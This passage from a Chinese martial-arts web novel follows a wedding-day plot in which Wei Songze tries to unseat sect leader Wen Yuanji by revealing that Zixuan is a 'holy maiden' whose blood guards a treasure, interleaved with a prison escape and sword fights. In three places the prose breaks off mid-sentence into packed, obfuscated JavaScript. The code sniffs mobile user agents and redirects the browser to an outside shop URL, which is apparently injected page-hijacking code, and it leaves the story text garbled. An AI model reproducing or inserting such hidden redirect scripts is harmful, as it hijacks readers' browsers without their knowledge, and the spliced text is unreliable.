是以,哪怕一些人早就脱离天魄门,并不愿意参与二者之间的斗争,也免不了好奇魏菘泽何以会在二十年后又和文远骥走到一起,好奇天魄门的未来将去往何地。更何况,许淑平单挑群雄、收服贺家的事也已传遍江湖,说不准正是因为文远骥一方找到了藏宝图,这才有了天魄门内部修和的前提。 各种猜测之下,接到魏菘泽请柬的人纷纷应约而来,其中既有河东谢氏、蓝田派这些本就和魏菘泽有所往来的门户,也有伏牛山、洛阳金刀门等脱离天魄门后就独善其身的势力,加在一起足有八、九拨人马。除这些天魄门旧部以外,华山派、龙虎山、谷城曲家等如今武林中有些地位的门派也有人前来。 三月二十八,婚礼正日。魏菘泽作为主人,满面喜色地在前厅招待来道贺的宾客,也借此机会和许久未曾谋面的江湖人寒暄几句,联络联络感情。 曲家少主曲庭洲是贺客中最年轻的一位,他是个有名的纨绔子弟,仗着家世不错,自己也有些本事,在江湖上横行无忌,对待武林名宿也没有多少恭敬。 去岁武林大会前后,天魄门过往的恩怨频频被人提起,曲庭洲也是在那时听说了一二。这次曲家并没有接到魏菘泽的请帖,然而魏菘泽正需要多拉拢江湖名门,得知他家少主不请自来,不但不以为忤,反而甚为欢喜。 “魏世伯,你与文门主结亲,怎么婚宴上看不到太白山的人呐?女方家里没人来送亲吗?”曲庭洲左右张望,仿若随口提问。其实宴席上不乏注意到这一点的宾客,可他们都碍于主人家的颜面没有说出来,曲庭洲自在惯了,根本不在乎对方是不是难堪,想到什么就直接问直接说。 魏菘泽注意到十来道注视着自己的目光,泰然一笑:“岂有不来之理?文师兄现下正在内院与新娘在一处,等会婚礼开始,他就会出来与各位相见了。” 曲庭洲得到了答案,就撂下魏菘泽去找其他人叙话,魏菘泽隐隐有些不快,但很快被他压了下去。 吉时将至,众宾客入座。奏乐未起,温叔先至。为了不惹人瞩目,他从后侧上来,附在魏菘泽耳边说了一句话。 魏菘泽眉心骤然缩紧,低声道:“如今谁在边上?去请骆神医了没有?” “已经去请了。少爷现如今暂由四爷照看着。” 魏菘泽稍稍放心,然后向左近几个宾客道了一声“失礼”,跟着温叔去了后面。 刚一出喜堂,黄昆便迎了上来。魏菘泽脚步不停,一边走一边问:“卢金良人呢?许淑平还没找到?” 黄昆胆怯地摇了摇头,小心回道:“少主带着人亲自去了,想必很快就能有回音。” “废物!”魏菘泽咒骂一声,脑筋飞速转了起来。 原来,许淑平离开贺家庄后的行踪一直被曹家堡监视,消息每隔一日便会传到吴宏那里。按理说,她出发比文远骥早,西河又离无锡更近,到的只会比文远骥早上许多。 然而,自前日最后一波探子传回许淑平已离无锡不远的消息之后,曹家堡的人就像是失了踪,吴宏再也没能得到其他汇报。更麻烦地是,到目前为止,许淑平和她的人马都未曾现身。 刚把文远骥带回来的魏彦成不得不立马折返,带着手下赶往许淑平最后歇宿的市镇,想从那里开始打探她的行迹。 魏菘泽沉吟半响,告诉黄昆:“去把他叫回来。” “少主吗?许淑平那边……”黄昆说到一半自觉闭上了嘴,魏菘泽的命令容不得他人质疑。 “如果许淑平脱逃,她会去哪?当然是来救人,与其大海捞针,不如守株待兔。”魏菘泽却难得好脾气,耐心说起自己的盘算,“你叫人去给彦成传话,然后再派几个高手去文远骥的关押之处。告诉他们,不管是谁,但凡敢闯庄救人的,一律格杀!” 看着黄昆的身影隐没在分隔前后院的一道白墙之后,魏菘泽尚有些不放心,他正想和温叔说些什么,花园中却于此时传来婢女的大声疾呼:“快来人!文姑娘落水了!” 二人对视一眼,很快有了决断。魏菘泽折向花园,边走边吩咐园中守卫向湖边集中,绝对不能让人走脱。温叔则仍旧沿着原路去往魏若琛的住处。 原本心口痛、大喘气,说什么也爬不起来,连喜服都还没有上身的魏若琛,听到下人报说紫璇突破了绣房外的封锁,趁人不备跳入湖中后,急得从床上翻起,连衣服都来不及披就要出门。被恰好于此刻赶到的温叔拦在了门内。 苏茂霖追着魏若琛到了门口,看到温叔的第一句话就是:“他没什么事,装病。” 温叔根本来不及回应他,因为魏若琛已经吼了起来:“快让开!” “少爷,花园里守卫不少,文姑娘很快就会被捞起来,你不用特地过去。”他自然明白魏若琛为何要装病,故而对此并不怎么惊讶。 可温叔越是平静,魏若琛的怒气就越大,他用力推开挡在身前的他,大叫着:“你们这么逼她,她才会跳湖抗争!我不管,我要去看看,你不准拦我!” 温叔只是为了不使他难堪才稍稍退了两步,实际上以魏若琛的力气根本不可能推得动他。他在门外站定,仍旧坚持让魏若琛回房,并说:“老爷已经赶过去了,她跑不掉的,少爷不必担心。” 魏若琛气得发笑:“我担心的是她逃跑吗?!她有寒症,湖水那么凉,她去年便因为在湖里呆着病了好几日,难道你们还想这里再多一个病人吗!?”说着便要扒开铁壁一样的温叔往外冲。 “生了病可以治,她不会死。” 魏若琛被他的冷漠刺痛,他越发歇斯底里起来,吼叫着:“你们休想伤她一分一毫!”推搡温叔的力气也越来越大。 温叔纹丝不动,已不愿再给他可以反抗的错觉。这时苏茂霖出声了:“你这样闹下去,那个女子会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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守卫们在宅中布防数月,还是第一次遭遇硬仗。他们都是好手不假,但由于魏菘泽提前命令不得伤害紫璇的性命,动手之时不免掣肘,给了紫璇极大的便利。 守卫中武功最高的两人名唤陈彪、何宝栓,他们也是这伙守卫的头头。见势头不对,他们立刻喝令众人停步,继而出列朝着紫璇窜出。紫璇知道,他们发觉光靠围堵讨不了好,准备派功夫高的拿下她。 紫璇只取攻势,在他们尚未期近自己之时率先挺剑刺出。陈彪矮身,避过剑锋的同时顺势攻她下盘。紫璇早有防备,右脚斜出,朝着他伸出的臂膀重重一点,继而腾空,瞅准何宝栓的来势急刺了过去。 何宝栓扭转上身躲过一剑,仅被划破了一点皮肉。下一瞬已摆正了身躯又向紫璇抓去,而此时陈彪正守在紫璇下方,就等她身子下坠好攀住她的小腿将人擒住。 紫璇在空中腾挪两下,继续冲着何宝栓进招,这样就避开了陈彪所在的地方。然而,当何宝栓被逼退数步之时,她的身子也已坠下。还来不及变招,何宝栓已然翻身,爪子马上就要攀住自己的剑尖,与此同时何宝栓已从身后扑了上来。 紫璇挥起左臂,左右手同时把住剑柄,双股剑分作两支,右手手腕招展,绕过何宝栓的来势斜斜向下;左手划过一个圈子,直砍向陈彪。 平日练剑时,紫璇从未亮出过双股剑的真容。眼前剑锋大出陈彪意料之外,根本来不及变招,剑就已经刺入了胸膛。 这一招紫璇将重心放在了左臂,面对何宝栓的只是虚招。随着左手剑插入陈彪,她的身体也急剧后撤,何宝栓同样大惊,但下一刻就被突然前倾的紫璇削去了半片肩膀。 184. 失利 围在外侧的守卫见自家头领竟然在片刻间就输给了一个女子,惊诧的同时便乱了阵脚。紫璇抓住时机,自后向前踏上数步,腾空而起,两剑合一,众人还没看清她如何起身又是如何出招,在她剑尖所及范围内的多人便已然血溅当场,悉数倒地。 “神锋无影!” 有人大叫出声,更加剧了众人此刻的惊惧。于是,他们下意识地只顾防守,不再进攻,这样一来紫璇更加得势,又有数人死在了她的剑下。 这时,魏若琛也已赶到,温叔和苏茂霖急匆匆地追在后面,生怕他一个不小心摔倒了。 紫璇的功夫远远超出自己的预想,如今又在气势上压过了守卫,魏菘泽觉出危险,随即纵身跃入包围圈,亲自上阵。 不同于守卫们的保守姿态,魏菘泽一上来便是自己最得意的招式。几掌之后,紫璇的武器立刻便没了用武之地,只能将剑越舞越快,尽力护住周身。 魏崧泽的招式精准老辣,紫璇刚避过了上一掌,下一掌就立马袭来。她的剑即便能够刺出也收效甚微,光是招架魏崧泽的掌风就要花去大部分神思和力气。 魏若琛隔着人墙,又对武学一窍不通,并看不出紫璇此时如何危险,只是本能地担心父亲会伤了她。可苏茂霖看得分明,魏崧泽掌掌都用了全力,如此下去紫璇必然支撑不了太久。 行动之前,紫璇明明告诉过他,魏崧泽留着她还有用,是不会对她下杀手的,那这是怎么回事? 容不得他再想下去,魏崧泽的右掌又递到了紫璇身后。紫璇因奋力抵御他的上一招,这时尚未回身,毫无回避的余地。苏茂霖顾不得许多,立刻飞身而出,急扑向紫璇后背,魏崧泽的这一掌便落在了他的身上。 苏茂霖受创吐血,血迹染红紫璇后襟,她这才意识到刚刚发生了什么,再转身看到的便是已然直不起腰来的他。 魏崧泽收招冷笑:“你果然有贰心!” 苏茂霖又吐了两口血,紫璇立马捉住他手腕要给他渡气,却被他反向用力,弹了回来。他挣扎起上半身,先用眼神安抚住紫璇,继而瞟向高高在上的魏崧泽:“你故意试探我?” “不然呢?圣女的命如此金贵,我可不舍得痛下杀手。”魏菘泽斜眼瞧着他,“你故意接近方乂安,就是为了通过他找到我,好伺机破坏我的好事?可是怎么办呢,三师兄可没你这么天真,早有准备,你的算盘呀,打.不.响。” 苏茂霖捂着心口,对他怒目而视,随后又捕捉到了守卫组成的人墙之后,一直往内焦急张望的魏若琛和淡定无比的温叔。 “不是他们,你装得不错,我们都没有发现破绽。”魏菘泽发觉了他目光所及之处,摇了摇头,“是方乂安瞧出端倪,特地来告诉我的。呵呵,他和你一样天真,还以为我会因此给他记上一功,放了他那个宝贝儿子呢,哈哈哈……” 干笑了两声,他立刻变脸,一挥手,守卫们立刻将紫璇和苏茂霖分别拉起。 魏若琛急忙抢上,还没开口就被魏菘泽堵住了嘴:“你放心,我不会动她。只是吉时已到,新娘子须得赶快梳妆了。” “还有,去找方乂安,让他去婚宴上候着。”他又吩咐另一个手下。 ******************** “今日便是婚礼,不知道外面现在是什么情况。”齐雅雯在牢房内转着圈子,心中满是担心。 并无回音。 瑾瑜眼神放空,一动不动地靠墙呆坐,心思全然在外。自前日被看守送回来之后,他基本都是如此。 不必多问,齐雅雯也知道紫璇面临的威胁不小,瑾瑜又帮不上忙,才这般忧心忡忡。 忽然,牢房外传来一声呼喝,瑾瑜一个箭步冲到牢门靠外侧的边缘,斜着眼睛伸着耳朵,竭力想直到外面发生了什么。 不料下一刻现身的却是方乂安,他手上拎着一串钥匙,疾步奔至牢门,一边开锁一边低吼:“牢外守卫松懈,我们快走!” 齐雅雯立刻起身出了牢门,瑾瑜却纹丝未动。 “守卫不会突然变得松懈,是不是外面发生了什么?”他问方乂安。 “文紫璇跳湖欲逃,被魏菘泽带人围住了正在鏖战。这里的守卫被调走了四个,我才能乘隙进来。” 瑾瑜使劲攥着双手,正在思索。方乂安催促道:“还愣着干什么,快和我走,魏菘泽亲自督阵,数十个守卫围堵,她逃不走的。一旦尘埃落地,宅中秩序如常,我们就走不了了!” 他越是强调紫璇的危险,瑾瑜就越不愿意迈步,反而冷静发问:“他们在哪儿?我要去看看!” “你去干什么?!还想去送死吗?”方乂安的心突突直跳,实在不明白儿子为什么这么执拗。 齐雅雯没有出言阻拦,但也不由得担心望向儿子。 “你知不知道,就连文远骥本人也已经被关押了起来,毫无还手之力。魏菘泽筹谋多年,有备而来,天魄门的人一个都出不去!这个时候,你就顾好自己,成不成!” “文门主?怎么会?!” 这个消息比紫璇正与魏家护卫鏖战还要令瑾瑜心惊,如果文远骥也被擒住,岂不是说…… 他不敢再想下去了,马上说:“爹,你知道他们被关在哪儿对不对,我们去把他们救出来!这样紫璇就有救了。” “文远骥那里的守卫只会比这里强上十倍百倍。连他自己都逃不出去,你凭什么去救他?听我的,咱们快走,远离这场是非。” 方乂安还是如此,瑾瑜已没有耐心再去劝他转变心志,而是说道:“我不能走,走了我也活不了。” “难道你还要为了那个姑娘殉情不成?”方乂安脸色一黑,正要斥责,却听瑾瑜说的是:“我中毒了。” “什么?!” “我中毒了。魏菘泽为了要挟璇儿,前日就给我喂了毒药。如今我全身无力,使不出功夫,更可怕的是,今天之内如拿不到解药,我会立刻毙命。” 他的语气极为平静,方乂安却越听越是心惊。齐雅雯也是第一次听他提起此事,立刻折返进牢中,搂住他上下打量,泪水夺眶而出:“你怎么不告诉我……” “这种毒只要吃下去,后续便需不停地服解药,一旦断供就只有死路一条。魏菘泽从一开始,就没有想过要放了我。爹,他不仅要用我逼迫璇儿,也是想让你永远被他捏在手心里!” “这……”魏菘泽的狠辣心肠方乂安未必不知,只是他一直不敢这么想而已,瑾瑜一语道破,他已经没有逃避的余地了。 “父亲总教导儿子明哲保身、远离是非。可你是否想过,当是非找上来的时候,一位退让只会让恶人得寸进尺,而让自己越陷越深。” 瑾瑜所言,又点中了方乂安连日来的不安,如冬日里的冰水自头浇下,全身上下连同头脑都被一齐冻住。 时机一纵即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120257|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逝,方乂安僵立的同时,外间响起惊呼声,显然被他放倒的两个守卫已被人发现。 瑾瑜眼疾手快,立刻将牢门关上。下一刻,四个守卫架着受伤的苏茂霖出现,同时瞥见了站在牢门外的方乂安。 “方老爷,您怎么在这儿?” 方乂安应变还算及时,他马上道:“我来看看儿子。”又问,“三爷怎么了?你们为何带他来这里?” 守卫们并不答话,而是疑心地打量着他,其中之一问道:“外面的守卫……” “我也正纳闷呢,往常外面不都是六个守卫吗?今日怎么只有两个?” 来人见他答得从容,自己便拿不准,便先吆喝其他人将苏茂霖丢到瑾瑜隔壁的牢房,上好锁,才又对方乂安道:“三爷惹怒了主人,是主人打伤了他,让把他关起来的。” 然后又道:“我刚好听见,主人遣温叔叫你去婚宴上呢。今日是主人的大日子,方老爷最好不要出岔子,否则……” 方乂安马上欠身,口中说着:“多谢小哥提醒……”同时里侧那只手冲瑾瑜做了个动作。 他瞬间暴起,一面袭击离自己最近的两个守卫,一面将一把匕首扔到了牢门里面。在他出手的同时,瑾瑜飞身撞在那个被隐藏起来的大洞,石头簌簌落下,墙洞再次露出。 “前辈!”他冲苏茂霖叫道。 林茂顾不得滚落的石块,即刻从洞口钻出。继而跃出牢门,和方乂安一同对敌。此时瑾瑜才抄起地上的匕首,同样窜了出去,趁守卫们与方乂安和苏茂霖缠斗之际偷袭得手,刺中一人之后又凭拳脚放倒了另一个。 六个守卫,没用多少功夫就被三人拿下。齐雅雯见儿子生龙活虎,并不是他刚刚所言中毒的症状,又是宽慰又是好奇。 瑾瑜这才说出实情:“我中毒不假,但璇儿早就料到魏菘泽会有此招,已经把解药给了我。” 齐雅雯喜出望外,眼泪却没有断。瑾瑜淡淡笑着,用手替她拭泪:“璇儿很厉害的。” 方乂安听到母子俩的对话,也极为动容,迅速撂下一开始的胆怯,问苏茂霖:“你被抓了,那文紫璇呢?” 苏茂霖却翻了个极大的白眼:“你也配问她?” 方乂安吃瘪,住口不语。瑾瑜道:“苏前辈,现在不是置气的时候,想个法子赶紧救人才是正理。” 苏茂霖这才重重点头:“我知道璇儿在哪,我去救她。你带着你母亲逃就是了。” “不行!” 时隔一年,瑾瑜已然能够理解当时倪家庄院墙上紫璇将他撇下时的心境,胜败关乎大局,小情小爱只能暂且放下。他呼出一口气,从容不迫道:“文门主被擒,魏菘泽必然有更大的阴谋。我们必须先去救他。” “那璇儿呢!”苏茂霖急道。 “她身份特殊,魏菘泽不会杀了她的。”方乂安道。 苏茂霖闻言又狠狠地瞪了他一眼,但没有反驳。 “爹,”瑾瑜又转向方乂安,“魏菘泽找你,你要是不现身他必然会起疑。不如你现在就过去,这样也好看着璇儿。你告诉我们文门主等人如今关押在哪,我和苏前辈去救人,之后便去婚宴上找你们。” 方乂安心头砰砰直跳,却还是顺着儿子的话点了点头,又将自己所知的文远骥的位置说了出来。 苏茂霖也冷静下来:“去救人之前,先把齐家小姐送到安全的地方,顺便我们还得找个帮手。” 185. 讨伐(一) 附人物表 方乂安赶到婚宴之时,紫璇也刚刚来到堂上。 但奇怪的是,她虽然穿了一身红,可样式明显不是婚服,随身还带着佩剑。而且,她的身侧也并无魏若琛的身影。 魏菘泽安静看着紫璇一步一步走入众人视线,满眼得色,如同孩童看到自己最得意的作品,期待着即将得到的夸赞。 目光一转,与魏菘泽相对、站在紫璇另一侧的,竟然是文远骥!!?他……怎么在这??方乂安慌了神,适才在牢中升腾起的些许热血瞬间凉透,一想到瑾瑜和苏茂霖必然要扑空,说不定还会被魏菘泽的人拿住,他就再难多迈出一步。 可魏菘泽已然看见了他,还招呼他坐到自己身边,他已无退路,只能硬着头皮上前。方乂安在江湖中并无相识,绝大部分人都好奇地看着他穿过宾客走向上首,猜测着他的身份。 紫璇刚刚踏入喜堂就瞥见了父亲,不免也吃了一惊。她试图用眼神询问他为何在此,却只得到了文远骥的摇头回应。 “诸位朋友,适才家人来报,小儿身体不适,今日的婚礼怕是要推迟。”紫璇刚一站定,魏菘泽就迫不及待地开口。 “既然婚礼要推迟,那怎么让新娘子先上场了?”华山派掌门丁经业瞧了瞧立在堂上的紫璇,疑惑发问。 魏菘泽朝丁经业点头致意,继而面向所有人道:“有劳丁掌门垂问。此番邀请诸位武林同道前来,除了小儿的婚事,实则还和天魄门的一桩大事有关。” 他果然提起天魄门,众人立时兴奋起来,甚至都忽略了追究魏菘泽以儿子婚事为名将他们骗来的小人行径。 “在座各位中,有不少人原本与我同在天魄门麾下效力。师父在世时天魄门何等兴盛,四方门派纷纷投诚,若再多几年,天魄门极有可能会成为武林中的第一大派。” 他说的是实情,天魄门旧属忆起往昔,纷纷点头唏嘘。文远骥沉默不语,仿佛这一切都和他无关。 “然而,文远骥继任门主以来,人心流散,天魄门一落千丈,成了武林中最不起眼的小门派,这也就罢了。可即便如此文远骥依旧不思进取,只知守着太白山庸碌度日,从不发奋继承师父遗志,找寻我派流传百年的宝藏以振起门户。甚至让几个外人上到太白山盗走了本属于天魄门的藏宝图。” 这也是事实,不少人顺着他的话连声附和,对文远骥指指点点。少数几个不想得罪文远骥的则沉默不语。 “杨世坤一死,江湖中人蠢蠢欲动,苏州余宅、泰州杨世坤家均被掘地三尺,文远骥对此不闻不问;贺家庄中群雄汇聚,逼问故左护法贺永诏留下的藏宝图,文远骥依然龟缩不出,只派了个女流之辈前去震慑。试问,这样的人如何能守住天魄门百年基业? 魏菘泽所言,不少人在余漱、杨世坤二人过去时常出没之地四处打探、搜索,企图找到那张得自太白山后的藏宝图等事,文远骥并非不知。无论是贺家的消息网还是长风镖局都有耳闻,也都把消息送到了太白山。甚至彭城派也被有心人骚扰过,只是声势不大,阮云飞严守门户,将闹事之人驱赶了出去。 至于长业帮,也曾在横死的三老住处、私宅中搜寻良久,最终没能发现任何与藏宝图相关的蛛丝马迹,朱鸿旭只好含恨收手。魏菘泽本想拉拢,可朱鸿旭脑子并不笨,在局势并不明朗之时不愿表明态度,贺家庄之事后,宝藏归属明确,他便更不愿意掺和其中。 这一回,魏菘泽也给他下了帖子,朱鸿旭以年事已高、不便远行为由推据了,只派人送了一份贺礼,算是没有直接拂了他的面子。 折腾数月,杨世坤手上的那张藏宝图就像是蒸发了一般不见踪影,江湖人这才将视线转向了太白山。 于是,去岁十月起,不少人或单独行动、或结成团伙,企图偷上后山,去寻找倪家庄中假余漱口中的那个李家祠堂,盼望着从那里再挖掘出什么和宝藏有关的线索。 幸而文远骥早有部署,江邵谦守卫得当,再加上山民们齐心协力,这些人接连失败,自此之后闯山之举才渐渐止息。 文远骥闭门不出,实则是因为太白山乃天魄门的根本,若叫人渗入其中,藏宝图泄露了消息事小,门中诸人及山民们若因此有失,那才是断了天魄门的将来。 可这些,魏菘泽却绝口不提,甚至将许淑平成功将贺家庄重新收入麾下、屏退江湖豪客的行动用“靠女人”这一说辞加以贬低。他想要的,不过是当着天魄门旧属和其余武林众人的面,坐实了文远骥难当大任的名目,好让自己名正言顺地取而代之。 在座诸人,包括文远骥在内,如何听不出他的意思。天魄门旧部暗自盘算,华山派、龙虎山冷眼旁观,文远骥的眼睛自众人身上扫过,一时间谁都没有回话。 自苏明启离世已过去十八年,文远骥虽无建树,却也安安稳稳地做了十八年门主,没有大的过错,魏菘泽想要重提旧事,让在场旧部支持自己并没有那么容易。 他自己也深知这一点,此刻的寂静早在他的预料之中。他清了清嗓子,继续言道:“要最终得到宝藏,藏宝图之外,实则另有一处关键。” “另一个关键?”宁川堡堡主魏国勖疑惑出声,他的堂兄魏国羡参与了十年前的夺门之变,后来文远骥寻仇,魏国羡身死,他才继位成了宁川堡的新堡主。 “不错,”魏菘泽点头应道,“魏堡主未曾在门中效力,可能没有听说过。在座的其他几位朋友,应该都记得,师父在时迎回圣女的事情吧?” “圣女?她不就是师祖褚慕瑶的后人吗?和宝藏有什么关系?”伏牛山的大当家张久辉立刻发问。龙虎山当家人麻磊和丁经业、曲庭洲这些外人更是对“圣女”闻所未闻,都自觉地将目光集中在魏菘泽身上。 “圣女之所以是圣女,除了她的身份,还在于她的功用。因此事关乎宝藏,师父在世时才讳莫如深,只有他的几个心腹才有所耳闻。谢老弟,就请你来告诉大家吧。”魏菘泽眼珠一转,已经看向了谢立梁。 谢立梁立刻起身,朗声道:“魏师兄所言不虚,传闻宝藏藏于秘府,由身怀剧毒的虫蛇守护,若要安然通过,需以圣女之血洒地,屏退毒物。师祖在百余年前便是借此取得了宝藏。正因为如此,门主当年寻宝之时,最先做的便是派人找寻师祖的后人,即圣女传入。在下之所以知道,是因为家父便是承担此重任的主力之一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128415|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 遥想当年苏明启迎回圣女时的盛况和圣女失踪时他雷霆大怒的模样,在座旧部不难相信谢立梁的话。 “多谢谢老弟,”魏菘泽紧接着又说,“家师当年花费无数心血,遣谢、贺两家精锐用了数年时间,才终于找到了师祖余脉的最后一支。” 说罢他扬手指向方乂安,“这位便是师祖和圣女的后人,姓方名乂安。他的父亲方孝荣想必诸位还有些印象。方世伯地位尊荣,又抚养圣女有功,被师父封为右护法。如今斯人已逝,按规矩他该接替父职,和贺新塬贺贤侄并立为我派的左右两位护法。” 被数十道目光炙烤,方乂安浑身都不自在,可魏菘泽就在一旁看着他,他不得不起身施礼,但并未开口。 自魏菘泽提及“圣女”,紫璇就隐隐觉得不安。无论是文远骥还是许淑平,都从未在她面前提起过这件事,如果他所言为真,那么……谁是师祖找来的圣女?各种思绪充斥脑海,竟使得她没有注意到方乂安的身份。 “文远骥和我追随师父左右,自然也知道此事。师父蹊跷身故,圣女嫁于文远骥为妻,其中是非到底如何,我们不得而知,今日亦不再追究。但既然他娶了圣女,又继承了师父的位子,自该担当起门主的责任,以寻到宝藏、振兴门派为己任。可他什么都没做!” 魏菘泽的语调越来越高昂,“须知圣女体质特殊,寿数有限,一旦死去就再无价值。文远骥明知如此,却把持圣女、不公开、不寻宝,一直到十年前,师父费尽千辛万苦才寻来的圣女一朝殒命。魏某有心无力,这寻宝的事也就耽搁了下来。” “十年前……”紫璇双眼紧闭,一时间似乎过往的许多疑问都有了答案。 在座众人中,参与夺门之变者纷纷垂首,颇有些后悔。除谢氏兄弟外,其余人当时并不知道晗月的真实身份,他们本想挟持晗月以逼迫文远骥交出苏明启留下的藏宝图,却不想由此断送了寻宝之路。之后仍不死心,想再上太白山寻衅时,谢立梁道出实情,这些人才明白自己犯了大错,也自此熄了欲念。 魏菘泽再度开口:“幸好天佑我派,大约一年前我从方贤弟处得知,圣女当年还曾诞下一个女婴,体质与她无异。我大喜过望,师父的遗愿终于有可能实现了。” 喜堂上持续许久的沉寂终于被打破,不光那些想分一杯羹的天魄门旧部,就连华山派、龙虎山这些好事之人也都躁动起来。看魏菘泽的模样,他必然已将这名新的圣女掌握在手了。那不就是……?顿时,几乎所有人都把头转向了正立在喜堂正中的紫璇。 “她才是圣女的女儿??”蓝田派葛宏丰率先发问。 魏菘泽点头肯定,又道:“文远骥故意混淆视听,江湖人都以为他只有前妻所出的一个女儿。圣女死后,他还将圣女血脉藏至别处,我们这才被蒙蔽其中。别说葛掌门了,魏某最开始也认错了人。” 这番话过后,众人眼中的狐疑立刻转为欣喜,甚至还掺杂着如同发现了宝物的狂热。方乂安环视四周,被这些如狼似虎的目光吓出了一身冷汗。他又望了望紫璇,借着她的身形回忆起晗月天真无邪的面容,一时间心如刀绞,悔不当初。 186. 讨伐(二) 面对数十道贪婪可怖的视线,紫璇却顾不上害怕。恍惚间她骤然想起,不久之前,魏菘泽就这样称呼过她。“以圣女之血屏退毒物”,她在心中默念着这几个字,突然之间茅塞顿开,原来……原来是为了这个! 紫璇马上去看文远骥,只见他眼含不忍地瞧着自己,脸上没有一丝一毫的惊讶。猜想被坐实,她只觉得好笑,原来,她不过是个被豢养的人肉解毒丸!心脏被扎地生疼,那些好不容易积攒下来的温情和暖意被瞬间抽干,她再抬眼时,望向文远骥的眼睛里充满了失望。 文远骥抵受不住她的目光,只好低下头,暗暗攥起拳头,让指甲扎到肉里,才能些微抵御他此刻汹涌的恨意。这份恨意,既对着在场被贪欲驱使的众人,也指向自己。 预想的效果一一实现,魏菘泽进一步道:“文远骥不思进取在前、藏匿圣女在后,本就难当大任。竟还违背祖训,伤害圣女贵体。” “这是怎么说?”宿远寨首领占志高突起两只眼睛,紧跟着问道。 魏菘泽朝身边黄昆递去眼色,黄昆随即纵身扑出,手中长刀直刺向紫璇。 紫璇头脑混乱,但功力未失,下意识跃开数尺,同时短剑自袖中射出,和黄昆的刀撞在一起弹了回来。她顺势握住剑柄,转身劈向黄昆前胸,黄昆挥刀上扬想要挡格,但不及她的力气,硬拼之下,紫璇的剑尖自他胸前划过,一尺来长的口子血淋淋的现于众人面前,引起了堂上的一阵惊呼。 黄昆抽身退开,留下紫璇独自持剑,心慌不已。他突然出手,似乎并不是真心和自己打斗。那么,他的意图是什么?从刚才开始,她好像一直都在被人牵着鼻子走,这种失去一切掌控的感觉令她更加心慌。她本能地想向文远骥求助,这一回父亲没有让她失望,而是给了她一个赞许又安抚的眼神。紫璇终于能喘口气,脑袋也不像适才那般沉重。 “按祖制,圣女不得习武,违者视为叛逆。文远骥却纵容圣女练武,甚至把天魄门的嫡传剑法都教给了她。”魏菘泽示意黄昆退下裹伤,然后为刚才的这番表演填上最后一点注脚。 金刀门的首领薛粲摸着手边大刀,道:“黄昆已经算得上我金刀门内数得上号的好手,这个女娃娃竟能一招制敌,属实有些匪夷所思。” 谢立梁也出声道:“她用的是踏月剑中的招式,这套剑法,如今天魄门中只有文远骥会。” 两个人都在评述紫璇的功夫,却毫无赞叹之意,有的只是质疑和不满。 葛宏丰率先叫起来:“文远骥,太白山上你可不是这样说的?你私藏圣女,又违背祖训坏了圣体,究竟是何居心? 占志高也跟着叫嚣:“自始至终,文远骥都未曾将先门主的遗志放在心上,甚至倒行逆施,故意阻拦找寻秘宝、复兴天魄门的大业。实在不配呆在门主的位子上!” 无需魏菘泽再说什么,文远骥的罪名似已足够清晰,其余几个旧部也终于有了反应,不少人指着文远骥,要么摇头叹息,要么议论纷纷。 丁经业和薛粲不想搅入天魄门内斗,沉吟不语。在他们边上,曲庭洲摇着扇子,倒像是在看一出精彩的折子戏。 “就这两件事,说破天也不过是文远骥粗疏惫赖,难堪大任。他做门主,十八年前我们可是都点过头的。如今因为首领庸懦无为,底下人便要作主颠覆,这样的事放在天下哪个门派帮户中都不是那么妥当吧?”张久辉比葛宏丰还要年长几岁,在伏牛山又一向说一不二,对于魏菘泽想要取文远骥而代之的心思很不认同。 一直没有说话的云阳范式家主范宝林也点了几下头,面色凝重地望着文远骥。 突如其来的不同声音仿若一盆冰水,一下子熄灭了刚刚有些起色的反文火苗。众人面面相觑,再度意识到事关门主废立,又有外人在旁,自己实在不该莽撞。 文远骥默默瞧着场上局势起起伏伏,都脱不开利弊两字,心中唯余鄙夷。他很清楚,魏菘泽的招数定然远不止此,下一步自然是用藏宝图来利诱。 魏菘泽的确是这样打算的,即便场上气氛不如期待的那般激烈,他也并不着急。 “我受师父大恩,虽已离开太白山,也不敢忘记他老人家生前最大的心愿。皇天不负有心人,多年努力再加上一点机缘,时至今日,魏某终于能不负师父所托,以百年宝藏振起天魄门的将来。” 他敢这样说,莫不是在圣女之外,还找到了藏宝图?众人来此的初衷被再度唤醒,不约而同地把眼睛转向了落于末座,一直低调的贺新塬。 藏宝图只可能有两个来源,一是杨世坤手上那份,再有就是传闻中贺永识可能留下的那份。贺家只来了贺新塬一人,许淑平和贺新韵均未现身,拱卫在侧的又都是曹家堡的人马。众人不难由此推想到,魏菘泽已经在暗中掌握了贺家庄的实权,这才把贺新塬被推了上来。而他愿意花这番力气,不正说明贺家之中果然有关键之物么? 更不用说,贺新塬自落座起,手边就一直捧着个不大的锦盒,如今再看,那极有可能便是承装着藏宝图的锦盒!想到这里,几乎所有人的目光都变得炽热起来。若非场边魏家守卫严正以待,堂中诸人敌友难分,恐怕立时就会有人扑上去。 